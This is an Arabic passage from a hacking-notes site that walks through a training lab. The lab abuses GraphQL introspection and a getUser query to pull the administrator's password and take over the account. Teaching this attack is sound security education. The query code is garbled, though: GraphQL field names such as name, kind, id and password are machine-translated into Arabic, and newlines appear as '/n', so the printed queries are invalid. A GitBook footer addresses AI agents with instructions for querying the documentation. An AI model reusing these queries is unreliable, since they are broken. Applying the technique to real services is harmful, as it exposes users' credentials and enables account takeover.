> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# التعرض العرضي للحقول الخاصة في GraphQL

### الانكشاف العرضي لحقول GraphQL الخاصة

#### سياق المختبر

تعتمد ميزات إدارة المستخدمين على **GraphQL** نقطة نهاية. يحتوي المختبر على تحكم وصول ضعيف: من الممكن أن **إجبار واجهة برمجة التطبيقات على كشف حقول حساسة** (بيانات الاعتماد / كلمات المرور). / الغرض: **تسجيل الدخول كمسؤول** ثم **حذف المستخدم `carlos`**.

#### استعلام GraphQL الملاحظ

طلب نموذجي من جانب العميل:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="/files/30074631ab984a3f0d619558072962ffdc409b8f" alt=""><figcaption></figcaption></figure>

#### استبطان GraphQL

يمكن استخدام الاستبطان عبر **IntrospectionQuery** (المخطط الكامل: الأنواع، الطلبات، الطفرات، إلخ). / الطلب المرسل:

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            معلمة
        }
        mutationType {
            معلمة
        }
        subscriptionType {
            معلمة
        }
        types {
            ...FullType
        }
        directives {
            معلمة
            الوصف
            المواقع
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    النوع
    معلمة
    الوصف
    fields(includeDeprecated: true) {
        معلمة
        الوصف
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        معلمة
        الوصف
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    معلمة
    الوصف
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    النوع
    معلمة
    ofType {
        النوع
        معلمة
        ofType {
            النوع
            معلمة
            ofType {
                النوع
                معلمة
            }
        }
    }
}
```

يستجيب الخادم **200 OK**، مما يؤكد أن الاستبطان مفعّل.

<figure><img src="/files/f322394b43e74cbb9c138053acec9de4dcb35376" alt=""><figcaption></figcaption></figure>

#### تحليل الطلبات في خريطة الموقع

عند إرسال الطلبات إلى **الهدف → خريطة الموقع**، تظهر عدة طلبات (حوالي 5).

<figure><img src="/files/61af4371dbd0e429a95a7985ea8d6cfe3252b036" alt=""><figcaption></figcaption></figure>

استعلام واحد يبرز: **`getUser`**.

<figure><img src="/files/e28ac67cf1c9e1479ecbb475f750243d1d21ff0d" alt=""><figcaption></figcaption></figure>

#### كشف الحقول الخاصة عبر `getUser`

تم تحديد الاستعلام:

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="/files/a3d7a5fb379fb32bf6545d2310baa312917b9e17" alt=""><figcaption></figcaption></figure>

يُظهر هذا الاستعلام الحقل **`كلمة المرور`**.

النسخة المكافئة في GraphQL:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    المعرّف
    اسم المستخدم
    كلمة المرور
  }
}
```

عند استبدال **`id: 0`** بـ **`id: 1`**، تُرجِع واجهة برمجة التطبيقات **اسم المستخدم** و **كلمة المرور** من `administrator`:

```json
{
  "id": 1
}
```

<figure><img src="/files/3992202b0babc8b4e94658ddd29af93c43689485" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
